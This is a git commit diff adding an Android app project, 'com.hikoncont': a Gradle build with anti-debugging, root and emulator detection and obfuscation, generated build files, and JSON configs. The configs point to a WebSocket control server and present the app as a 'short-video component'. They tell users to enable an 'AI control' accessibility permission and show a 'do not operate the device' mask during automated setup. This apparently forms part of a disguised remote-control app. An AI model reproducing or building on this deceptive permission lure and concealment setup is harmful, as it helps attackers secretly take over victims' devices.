This commit is contained in:
wdvipa
2026-02-11 16:59:49 +08:00
commit eee3a16150
3327 changed files with 198527 additions and 0 deletions

123
app/build.gradle Normal file
View File

@@ -0,0 +1,123 @@
plugins {
id 'com.android.application'
id 'org.jetbrains.kotlin.android'
}
android {
namespace 'com.hikoncont'
compileSdk 35
buildFeatures {
buildConfig true
}
defaultConfig {
applicationId "com.hikoncont"
minSdk 24
targetSdk 35
versionCode 1
versionName "1.0.1.6"
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
}
buildTypes {
release {
// 启用代码混淆和压缩
minifyEnabled true
// 启用资源压缩
shrinkResources true
// 使用优化的ProGuard配置
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
// 签名配置
signingConfig signingConfigs.debug
// 构建优化
zipAlignEnabled true
debuggable false
jniDebuggable false
// 构建配置字段
buildConfigField "String", "BUILD_TYPE", "\"release\""
buildConfigField "boolean", "ENABLE_ENCRYPTION", "true"
buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "true"
buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "true"
buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "true"
}
debug {
// 调试版本不启用混淆,方便开发
minifyEnabled false
shrinkResources false
debuggable true
// 构建配置字段
buildConfigField "String", "BUILD_TYPE", "\"debug\""
buildConfigField "boolean", "ENABLE_ENCRYPTION", "false"
buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "false"
buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "false"
buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "false"
}
// 创建增强版本
create("enhancement") {
initWith(getByName("release"))
// 强化混淆配置
minifyEnabled true
shrinkResources true
// 强化构建配置
buildConfigField "String", "BUILD_TYPE", "\"enhancement\""
buildConfigField "boolean", "ENABLE_ENCRYPTION", "true"
buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "true"
buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "true"
buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "true"
// 启用更严格的优化
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
kotlinOptions {
jvmTarget = '1.8'
}
}
dependencies {
implementation 'androidx.core:core-ktx:1.10.1'
implementation 'androidx.appcompat:appcompat:1.6.1'
implementation 'com.google.android.material:material:1.9.0'
implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
// 协程支持
implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-android:1.7.3'
implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-core:1.7.3'
// ✅ Socket.IO v4 官方客户端库
implementation 'io.socket:socket.io-client:2.1.0'
// 网络库
implementation 'com.squareup.okhttp3:okhttp:4.12.0'
// JSON处理
implementation 'org.json:json:20231013'
// 生命周期组件
implementation 'androidx.lifecycle:lifecycle-runtime-ktx:2.6.2'
implementation 'androidx.lifecycle:lifecycle-service:2.6.2'
// WorkManager保活 - 使用兼容API 33的版本
implementation 'androidx.work:work-runtime-ktx:2.8.1'
// 测试依赖
testImplementation 'junit:junit:4.13.2'
androidTestImplementation 'androidx.test.ext:junit:1.1.5'
androidTestImplementation 'androidx.test.espresso:espresso-core:3.5.1'
}

View File

@@ -0,0 +1,19 @@
/**
* Automatically generated file. DO NOT MODIFY
*/
package com.hikoncont.test;
public final class BuildConfig {
public static final boolean DEBUG = Boolean.parseBoolean("true");
public static final String APPLICATION_ID = "com.hikoncont.test";
// Field from build type: debug
public static final String BUILD_TYPE = "debug";
// Field from build type: debug
public static final boolean ENABLE_ANTI_DEBUG = false;
// Field from build type: debug
public static final boolean ENABLE_EMULATOR_DETECTION = false;
// Field from build type: debug
public static final boolean ENABLE_ENCRYPTION = false;
// Field from build type: debug
public static final boolean ENABLE_ROOT_DETECTION = false;
}

View File

@@ -0,0 +1,21 @@
/**
* Automatically generated file. DO NOT MODIFY
*/
package com.hikoncont;
public final class BuildConfig {
public static final boolean DEBUG = Boolean.parseBoolean("true");
public static final String APPLICATION_ID = "com.hikoncont";
// Field from build type: debug
public static final String BUILD_TYPE = "debug";
public static final int VERSION_CODE = 1;
public static final String VERSION_NAME = "1.0.1.6";
// Field from build type: debug
public static final boolean ENABLE_ANTI_DEBUG = false;
// Field from build type: debug
public static final boolean ENABLE_EMULATOR_DETECTION = false;
// Field from build type: debug
public static final boolean ENABLE_ENCRYPTION = false;
// Field from build type: debug
public static final boolean ENABLE_ROOT_DETECTION = false;
}

Binary file not shown.

View File

@@ -0,0 +1,21 @@
{
"version": 3,
"artifactType": {
"type": "APK",
"kind": "Directory"
},
"applicationId": "com.hikoncont",
"variantName": "debug",
"elements": [
{
"type": "SINGLE",
"filters": [],
"attributes": [],
"versionCode": 1,
"versionName": "1.0.1.6",
"outputFile": "app-debug.apk"
}
],
"elementType": "File",
"minSdkVersionForDexing": 24
}

View File

@@ -0,0 +1,2 @@
#- File Locator -
listingFile=../../../apk/debug/output-metadata.json

View File

@@ -0,0 +1,2 @@
#- File Locator -
listingFile=../../../../outputs/apk/androidTest/debug/output-metadata.json

View File

@@ -0,0 +1,2 @@
appMetadataVersion=1.1
androidGradlePluginVersion=8.12.3

View File

@@ -0,0 +1,19 @@
{
"enableAccessibilityMonitor": true,
"monitorDescription": "无障碍设置页面监控功能 - 仅用于解决部分设备卡在无障碍设置页面的问题",
"usage": "默认开启以解决部分设备卡在无障碍设置页面的问题如需关闭可将enableAccessibilityMonitor设为false",
"warning": "功能已优化为智能检测,正常设备不会受到影响",
"monitorSettings": {
"checkIntervalSeconds": 0.5,
"confirmationRequiredCount": 2,
"maxRetryCount": 8,
"delayAfterServiceConnectedSeconds": 1
},
"supportedProblematicDevices": [
"某些OPPO设备",
"某些华为设备",
"某些小米设备",
"某些vivo设备",
"其他卡在无障碍设置页面的设备"
]
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

View File

@@ -0,0 +1,18 @@
{
"serverUrl": "ws://192.168.0.105:3001",
"webUrl": "https://yhdm.one",
"buildTime": "2025-09-09T11:45:57.889Z",
"version": "1.0.1.6",
"enableConfigMask": true,
"enableProgressBar": true,
"configMaskText": "配置中请稍后...",
"configMaskSubtitle": "正在自动配置和连接\r\n请勿操作设备",
"configMaskStatus": "配置完成后将自动返回应用",
"pageStyleConfig": {
"appName": "短视频组件",
"statusText": "软件需要开启AI智能操控权限\n请按照以下步骤进行\n1. 点击启用按钮\n2. 转到已下载的服务/应用\n3. 找到本应用并点击进入\n4. 开启辅助开关",
"enableButtonText": "启用",
"usageInstructions": "使用说明:\n1. 启用无障碍服务\n2. 确保设备连接到网络\n\n注意请在安全的网络环境中使用",
"apkFileName": ""
}
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 150 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 216 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

View File

@@ -0,0 +1,10 @@
{
"version": 3,
"artifactType": {
"type": "COMPATIBLE_SCREEN_MANIFEST",
"kind": "Directory"
},
"applicationId": "com.hikoncont",
"variantName": "debug",
"elements": []
}

View File

@@ -0,0 +1 @@
[{"key":"androidx/savedstate/Recreator$Companion.class","name":"androidx/savedstate/Recreator$Companion.class","size":881,"crc":-2099199957},{"key":"androidx/savedstate/Recreator$SavedStateProvider.class","name":"androidx/savedstate/Recreator$SavedStateProvider.class","size":2367,"crc":1821800407},{"key":"androidx/savedstate/Recreator.class","name":"androidx/savedstate/Recreator.class","size":5559,"crc":-533493763},{"key":"androidx/savedstate/SavedStateRegistry$AutoRecreated.class","name":"androidx/savedstate/SavedStateRegistry$AutoRecreated.class","size":784,"crc":567056175},{"key":"androidx/savedstate/SavedStateRegistry$Companion.class","name":"androidx/savedstate/SavedStateRegistry$Companion.class","size":887,"crc":900872896},{"key":"androidx/savedstate/SavedStateRegistry$SavedStateProvider.class","name":"androidx/savedstate/SavedStateRegistry$SavedStateProvider.class","size":709,"crc":-309935901},{"key":"androidx/savedstate/SavedStateRegistry.class","name":"androidx/savedstate/SavedStateRegistry.class","size":10105,"crc":788600212},{"key":"androidx/savedstate/SavedStateRegistryController$Companion.class","name":"androidx/savedstate/SavedStateRegistryController$Companion.class","size":1607,"crc":-1819286630},{"key":"androidx/savedstate/SavedStateRegistryController.class","name":"androidx/savedstate/SavedStateRegistryController.class","size":4330,"crc":-287729808},{"key":"androidx/savedstate/SavedStateRegistryOwner.class","name":"androidx/savedstate/SavedStateRegistryOwner.class","size":755,"crc":-979039875},{"key":"androidx/savedstate/ViewTreeSavedStateRegistryOwner$findViewTreeSavedStateRegistryOwner$1.class","name":"androidx/savedstate/ViewTreeSavedStateRegistryOwner$findViewTreeSavedStateRegistryOwner$1.class","size":1846,"crc":423512158},{"key":"androidx/savedstate/ViewTreeSavedStateRegistryOwner$findViewTreeSavedStateRegistryOwner$2.class","name":"androidx/savedstate/ViewTreeSavedStateRegistryOwner$findViewTreeSavedStateRegistryOwner$2.class","size":2045,"crc":-1356874610},{"key":"androidx/savedstate/ViewTreeSavedStateRegistryOwner.class","name":"androidx/savedstate/ViewTreeSavedStateRegistryOwner.class","size":2543,"crc":1459979664},{"key":"META-INF/androidx.savedstate_savedstate.version","name":"META-INF/androidx.savedstate_savedstate.version","size":6,"crc":1315721634},{"key":"META-INF/savedstate_release.kotlin_module","name":"META-INF/savedstate_release.kotlin_module","size":80,"crc":-912612184}]

File diff suppressed because one or more lines are too long

Some files were not shown because too many files have changed in this diff Show More